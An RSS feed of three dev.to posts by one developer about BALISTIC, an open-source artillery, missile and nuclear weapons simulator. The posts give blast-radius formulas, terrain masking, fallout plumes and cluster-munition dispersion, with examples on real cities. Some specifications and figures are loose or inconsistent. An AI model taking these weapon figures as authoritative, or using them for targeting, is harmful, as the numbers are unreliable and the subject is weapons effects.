<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Patryk</title>
    <description>The latest articles on DEV Community by Patryk (@insaneinfinity).</description>
    <link>https://dev.to/insaneinfinity</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3838137%2F54bc4146-ad8d-414c-b499-8ecd8cc6247d.png</url>
      <title>DEV Community: Patryk</title>
      <link>https://dev.to/insaneinfinity</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/insaneinfinity"/>
    <language>en</language>
    <item>
      <title>BALISTIC v6.0 — NASA SRTM Terrain Masking: Blast Zones Now Blocked by Real Mountains</title>
      <dc:creator>Patryk</dc:creator>
      <pubDate>Mon, 13 Apr 2026 06:32:00 +0000</pubDate>
      <link>https://dev.to/insaneinfinity/balistic-v60-nasa-srtm-terrain-masking-blast-zones-now-blocked-by-real-mountains-28fl</link>
      <guid>https://dev.to/insaneinfinity/balistic-v60-nasa-srtm-terrain-masking-blast-zones-now-blocked-by-real-mountains-28fl</guid>
      <description>&lt;h1&gt;
  
  
  BALISTIC v6.0 — NASA SRTM Terrain Masking
&lt;/h1&gt;

&lt;p&gt;The biggest update yet. Blast zones are no longer circles — &lt;br&gt;
they're now physically accurate polygons blocked by real terrain.&lt;/p&gt;

&lt;h2&gt;
  
  
  What changed
&lt;/h2&gt;

&lt;p&gt;Previous versions used random noise + OSM building density to &lt;br&gt;
generate "irregular" zones. Looked nice, but wasn't physically &lt;br&gt;
meaningful. Mountains didn't block anything.&lt;/p&gt;

&lt;p&gt;v6.0 integrates &lt;strong&gt;NASA SRTM elevation data&lt;/strong&gt; (90m resolution, &lt;br&gt;
global coverage) with a &lt;strong&gt;horizon scan algorithm&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;For each of 72 ray directions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sample terrain elevation every ~400m along the ray&lt;/li&gt;
&lt;li&gt;Track the "horizon angle" seen from the blast point
&lt;/li&gt;
&lt;li&gt;When terrain drops behind a ridge → shadow zone starts&lt;/li&gt;
&lt;li&gt;Clip the blast radius at that distance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result: zones expand freely through valleys, contract against &lt;br&gt;
mountain faces.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three test cases
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Islamabad, Pakistan&lt;/strong&gt;&lt;br&gt;
The city sits at the foot of Margalla Hills. North-west zones &lt;br&gt;
are cut hard by the ridge. South-east over the flat Indus plain &lt;br&gt;
— full radius, nothing blocking.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2pu8bnmonm9rih4fgvky.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2pu8bnmonm9rih4fgvky.png" alt=" " width="800" height="525"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Rock Canyon, Las Vegas&lt;/strong&gt;&lt;br&gt;
Impact point in the canyon. West zones cut by canyon walls. &lt;br&gt;
East toward the city — open desert, full radius. &lt;br&gt;
The asymmetry is dramatic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyu7qxuy1vulxvvhpkg8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyu7qxuy1vulxvvhpkg8.png" alt=" " width="800" height="464"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Jerusalem&lt;/strong&gt;&lt;br&gt;
Impact on the ridge (535m). East toward the Judean Desert — &lt;br&gt;
zones extend far through the open valley. West toward the &lt;br&gt;
Judean Hills — clipped.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzdhzmj2jjfx15tpha9tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzdhzmj2jjfx15tpha9tz.png" alt=" " width="800" height="535"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tech
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;srtm_module.py&lt;/code&gt; — downloads tiles from srtm.kurviger.de 
on first shot, caches locally&lt;/li&gt;
&lt;li&gt;~5700 tiles, full world 60°S–60°N offline&lt;/li&gt;
&lt;li&gt;72-ray horizon scan per shot, ~35 samples per ray&lt;/li&gt;
&lt;li&gt;Fallback to OSM Overpass density if SRTM unavailable&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Also in v6.0
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fixed ballistic model for ICBM/IRBM — Sarmat 9000km now 
gives correct 29.9min flight time and 1080km apogee 
(was stuck at hardcoded values before)&lt;/li&gt;
&lt;li&gt;Corrected fallout polygon geometry — wind-aligned ellipse 
was broken due to wrong azimuth→lat/lon conversion&lt;/li&gt;
&lt;li&gt;weapons_db.json — all 195 weapon systems externalized&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Stack
&lt;/h2&gt;

&lt;p&gt;Python/Flask + C#/.NET 10 + Redis Streams + Leaflet.js + &lt;br&gt;
CesiumJS + NASA SRTM&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/InsaneInfinity/Balistic" rel="noopener noreferrer"&gt;https://github.com/InsaneInfinity/Balistic&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>csharp</category>
      <category>opensource</category>
      <category>simulation</category>
    </item>
    <item>
      <title>I built an open-source nuclear &amp; ballistic simulator — 176 weapons, real blast physics, 3D globe</title>
      <dc:creator>Patryk</dc:creator>
      <pubDate>Wed, 08 Apr 2026 21:14:38 +0000</pubDate>
      <link>https://dev.to/insaneinfinity/balistic-v59-176-weapon-systems-nuclear-bombers-global-artillery-gbp</link>
      <guid>https://dev.to/insaneinfinity/balistic-v59-176-weapon-systems-nuclear-bombers-global-artillery-gbp</guid>
      <description>&lt;p&gt;Eight months ago I was a truck driver. Today I'm shipping a ballistic &lt;br&gt;
fire control simulator with nuclear blast zones calculated from &lt;br&gt;
Glasstone &amp;amp; Dolan physics formulas used by the US government since 1977.&lt;/p&gt;

&lt;p&gt;No bootcamp. No CS degree. Just Python, C#, Redis, and a refusal to &lt;br&gt;
build todo apps.&lt;/p&gt;

&lt;p&gt;BALISTIC V5.9 simulates 176 weapon systems across 30+ countries — &lt;br&gt;
from a Polish AHS KRAB howitzer shooting 155mm at 5km, to a Russian &lt;br&gt;
Sarmat ICBM with a 750kt warhead hitting a target 10,000km away on a &lt;br&gt;
CesiumJS 3D globe. With radioactive fallout plumes. With real wind data &lt;br&gt;
from OpenWeatherMap. With Coriolis effect.&lt;/p&gt;
&lt;h2&gt;
  
  
  What's new in V5.9
&lt;/h2&gt;

&lt;p&gt;Since my last post, BALISTIC has grown from a simple Polish artillery simulator into a full global ballistic fire control system. Here's what landed in V5.9:&lt;/p&gt;
&lt;h2&gt;
  
  
  ✈️ Nuclear Bomber Aircraft
&lt;/h2&gt;

&lt;p&gt;The biggest visual upgrade. Aircraft now fly at realistic altitudes (9000-10000m) with an animated ✈️ emoji icon on the CesiumJS 3D globe instead of a dot.&lt;/p&gt;

&lt;p&gt;14 bombers across 5 nations, each with correct speed and payload:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aircraft&lt;/th&gt;
&lt;th&gt;Country&lt;/th&gt;
&lt;th&gt;Weapon&lt;/th&gt;
&lt;th&gt;Altitude&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;B-29 Superfortress&lt;/td&gt;
&lt;td&gt;🇺🇸 (1945)&lt;/td&gt;
&lt;td&gt;Little Boy 15kt / Fat Man 21kt&lt;/td&gt;
&lt;td&gt;9000m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B-52 Stratofortress&lt;/td&gt;
&lt;td&gt;🇺🇸&lt;/td&gt;
&lt;td&gt;AGM-86 ALCM / B61-12&lt;/td&gt;
&lt;td&gt;10000m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B-2 Spirit&lt;/td&gt;
&lt;td&gt;🇺🇸&lt;/td&gt;
&lt;td&gt;B61-12 / B83 1.2Mt&lt;/td&gt;
&lt;td&gt;10000m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tu-160 Blackjack&lt;/td&gt;
&lt;td&gt;🇷🇺&lt;/td&gt;
&lt;td&gt;500kt&lt;/td&gt;
&lt;td&gt;10000m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rafale F3&lt;/td&gt;
&lt;td&gt;🇫🇷&lt;/td&gt;
&lt;td&gt;ASMP-A 300kt&lt;/td&gt;
&lt;td&gt;10000m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avro Vulcan B2&lt;/td&gt;
&lt;td&gt;🇬🇧 (hist.)&lt;/td&gt;
&lt;td&gt;WE.177 400kt&lt;/td&gt;
&lt;td&gt;10000m&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The C# processor detects aircraft by ammo name and sets altitude accordingly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;aircraft&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"F35-B61"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"B2-B61"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"B2-B83"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"B21-B61"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="s"&gt;"Tu160-nuke"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"Tu95-nuke"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"LittleBoy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"FatMan"&lt;/span&gt;&lt;span class="p"&gt;,...};&lt;/span&gt;
&lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;aircraftAlt&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nazwaAmmo&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"LittleBoy"&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;nazwaAmmo&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"FatMan"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
                     &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="m"&gt;9000.0&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10000.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;cruiseAlt&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aircraft&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;nazwaAmmo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="n"&gt;aircraftAlt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  💣 Hiroshima &amp;amp; Nagasaki — Historical Simulation
&lt;/h2&gt;

&lt;p&gt;B-29 Superfortress carries two loadouts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Little Boy&lt;/strong&gt; — 15kt, Hiroshima, 6 August 1945. Fireball 303m, burns 7km&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fat Man&lt;/strong&gt; — 21kt, Nagasaki, 9 August 1945. Fireball 348m, burns 8km&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Blast zones calculated from &lt;strong&gt;Glasstone &amp;amp; Dolan "The Effects of Nuclear Weapons" (1977)&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  🏹 Artillery for 30+ Countries
&lt;/h2&gt;

&lt;p&gt;Every country now has its own artillery section. Some highlights:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🇷🇺 &lt;strong&gt;2S7 Pion&lt;/strong&gt; — 203mm, the largest self-propelled howitzer in service&lt;/li&gt;
&lt;li&gt;🇰🇵 &lt;strong&gt;Koksan M-1978&lt;/strong&gt; — 170mm, range 60km, the longest-range artillery piece in the world&lt;/li&gt;
&lt;li&gt;🇩🇪 &lt;strong&gt;PzH 2000&lt;/strong&gt; — 155mm, 945 m/s muzzle velocity, EXCALIBUR precision rounds&lt;/li&gt;
&lt;li&gt;🇫🇷 &lt;strong&gt;CAESAR&lt;/strong&gt; — wheeled 155mm, 930 m/s, shoot-and-scoot capability&lt;/li&gt;
&lt;li&gt;🇺🇦 &lt;strong&gt;2S22 Bohdana&lt;/strong&gt; — Ukraine's own 155mm, used actively in the war&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Physics: Euler integration &lt;code&gt;dt=0.01s&lt;/code&gt; with drag &lt;code&gt;F = ½·Cd·ρ·A·v²&lt;/code&gt;, bisection method for elevation angle.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚡ Hypersonic Systems
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zircon 3M22&lt;/strong&gt; — Mach 9 (2778 m/s), CEP 2m, 11,575 MJ kinetic energy&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fattah&lt;/strong&gt; — Iran, Mach 13+, 4000 m/s&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AGM-183 ARRW&lt;/strong&gt; — USA, Mach 20, 6000 m/s&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🛰️ Map Layer Switcher
&lt;/h2&gt;

&lt;p&gt;Google Maps tiles now support three modes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;layers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;hybrid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="nx"&gt;L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tileLayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;...lyrs=y&amp;amp;hl=en...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  &lt;span class="c1"&gt;// English labels&lt;/span&gt;
    &lt;span class="na"&gt;satellite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tileLayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;...lyrs=s...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;          &lt;span class="c1"&gt;// Pure satellite&lt;/span&gt;
    &lt;span class="na"&gt;road&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="nx"&gt;L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tileLayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;...lyrs=m&amp;amp;hl=en...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;   &lt;span class="c1"&gt;// Road map EN&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;hl=en&lt;/code&gt; parameter forces English labels — no more Cyrillic on Russian cities.&lt;/p&gt;

&lt;h2&gt;
  
  
  📊 Shot History Panel
&lt;/h2&gt;

&lt;p&gt;Clicking any item in the shot history now reloads the full ballistic result panel — azimuth, TOF, blast zones, fallout data — for that specific shot.&lt;/p&gt;

&lt;h2&gt;
  
  
  By the numbers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;176 weapon systems&lt;/strong&gt; from 30+ countries&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;195 ammunition types&lt;/strong&gt; — each with CEP, blast zones, drag coefficient, cross-section area&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;14 nuclear bomber aircraft&lt;/strong&gt; with realistic altitude&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Artillery in every country&lt;/strong&gt; — from KRAB to Koksan to Pion&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eight months ago I didn't know what a Haversine formula was. &lt;br&gt;
Now I'm simulating ICBM trajectories over a 3D globe.&lt;/p&gt;

&lt;h2&gt;
  
  
  GitHub
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kk7il10au4i6mgo4cl5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kk7il10au4i6mgo4cl5.png" alt=" " width="800" height="391"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffcioh4r6hqrrbcmg4820.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffcioh4r6hqrrbcmg4820.png" alt=" " width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwu6a8o4quwzy0ljtbakv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwu6a8o4quwzy0ljtbakv.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5fxn5ilfeqj043hyfkac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5fxn5ilfeqj043hyfkac.png" alt=" " width="800" height="504"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/InsaneInfinity/Balistic" rel="noopener noreferrer"&gt;https://github.com/InsaneInfinity/Balistic&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For educational and simulation purposes only. All data from publicly available sources (Glasstone &amp;amp; Dolan 1977, CSIS, Jane's, NATO FM 6-40).&lt;/p&gt;

</description>
      <category>python</category>
      <category>csharp</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Building a Ballistic Fire Control Simulator with Python, C# and Redis</title>
      <dc:creator>Patryk</dc:creator>
      <pubDate>Mon, 23 Mar 2026 21:44:15 +0000</pubDate>
      <link>https://dev.to/insaneinfinity/ballistic-fire-control-3k1j</link>
      <guid>https://dev.to/insaneinfinity/ballistic-fire-control-3k1j</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjuk941y8do088fevm183.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjuk941y8do088fevm183.png" alt=" " width="800" height="349"&gt;&lt;/a&gt;# BALISTIC V5.4 — From Artillery to Global Nuclear Simulator&lt;/p&gt;

&lt;p&gt;Since my &lt;a href="https://dev.to/insaneinfinity/ballistic-fire-control-3k1j"&gt;last article&lt;/a&gt;, &lt;br&gt;
the project grew from a simple artillery simulator into something much bigger.&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/InsaneInfinity/Balistic" rel="noopener noreferrer"&gt;https://github.com/InsaneInfinity/Balistic&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What's new in V5.4
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🌍 CesiumJS 3D Globe
&lt;/h3&gt;

&lt;p&gt;Missiles &amp;gt;500km automatically switch to a 3D globe view. &lt;br&gt;
ICBM trajectories follow a geodesic great circle path over Earth's surface, &lt;br&gt;
with animated flight, glowing trail and apogee marker.&lt;/p&gt;

&lt;h3&gt;
  
  
  ☢️ Nuclear Physics — Glasstone &amp;amp; Dolan (1977)
&lt;/h3&gt;

&lt;p&gt;Every nuclear warhead now has realistic blast zones calculated from the &lt;br&gt;
publicly available US government publication:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fireball: &lt;code&gt;r = 100 × W^0.41&lt;/code&gt; [m]&lt;/li&gt;
&lt;li&gt;Heavy damage (20psi): &lt;code&gt;r = 290 × W^0.33&lt;/code&gt; [m]
&lt;/li&gt;
&lt;li&gt;Light damage (5psi): &lt;code&gt;r = 690 × W^0.33&lt;/code&gt; [m]&lt;/li&gt;
&lt;li&gt;Burns (1st degree): &lt;code&gt;r = 2200 × W^0.41&lt;/code&gt; [m]&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example — Sarmat (750kt): fireball 2.7km, hazard zone &lt;strong&gt;145km&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  🌬️ Radioactive Fallout
&lt;/h3&gt;

&lt;p&gt;Wind-direction elliptical plume with 3 intensity zones.&lt;br&gt;
Avangard HGV gets air-burst correction (3-4× reduced fallout).&lt;/p&gt;

&lt;h3&gt;
  
  
  💣 Cluster Munitions
&lt;/h3&gt;

&lt;p&gt;Realistic elliptical dispersion pattern &lt;strong&gt;aligned with flight azimuth&lt;/strong&gt;.&lt;br&gt;
Iskander-M: 54 submunitions in 200m ellipse.&lt;br&gt;
ATACMS: 950 submunitions in 500m ellipse.&lt;/p&gt;

&lt;h3&gt;
  
  
  🛩️ Cruise Missiles
&lt;/h3&gt;

&lt;p&gt;Flat ~100m trajectory for Kalibr, Tomahawk, Storm Shadow, SCALP...&lt;br&gt;
Realistic subsonic flight time (Kalibr 2500km = ~2.7h).&lt;/p&gt;

&lt;h3&gt;
  
  
  🌀 Coriolis Fix
&lt;/h3&gt;

&lt;p&gt;Corrected formula: &lt;code&gt;d = Ω·sin(φ)·v_avg·t²/2&lt;/code&gt;&lt;br&gt;
With realistic caps: SRBM ~300m, MRBM ~1000m, ICBM ~3000m.&lt;/p&gt;

&lt;h3&gt;
  
  
  94 Systems from 18+ Countries
&lt;/h3&gt;

&lt;p&gt;Russia, China, USA, UK, France, Turkey, South Korea, Japan, &lt;br&gt;
Taiwan, Ukraine, Iran, Israel, India, Pakistan, Brazil, Sweden, Egypt, Syria...&lt;/p&gt;

&lt;h2&gt;
  
  
  Screenshots
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmn26htt6328fci2aweld.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmn26htt6328fci2aweld.png" alt=" " width="800" height="349"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbla4nzmbqp80t999zur6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbla4nzmbqp80t999zur6.png" alt=" " width="800" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm7d6b9wwx7ey3yf1masd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm7d6b9wwx7ey3yf1masd.png" alt=" " width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

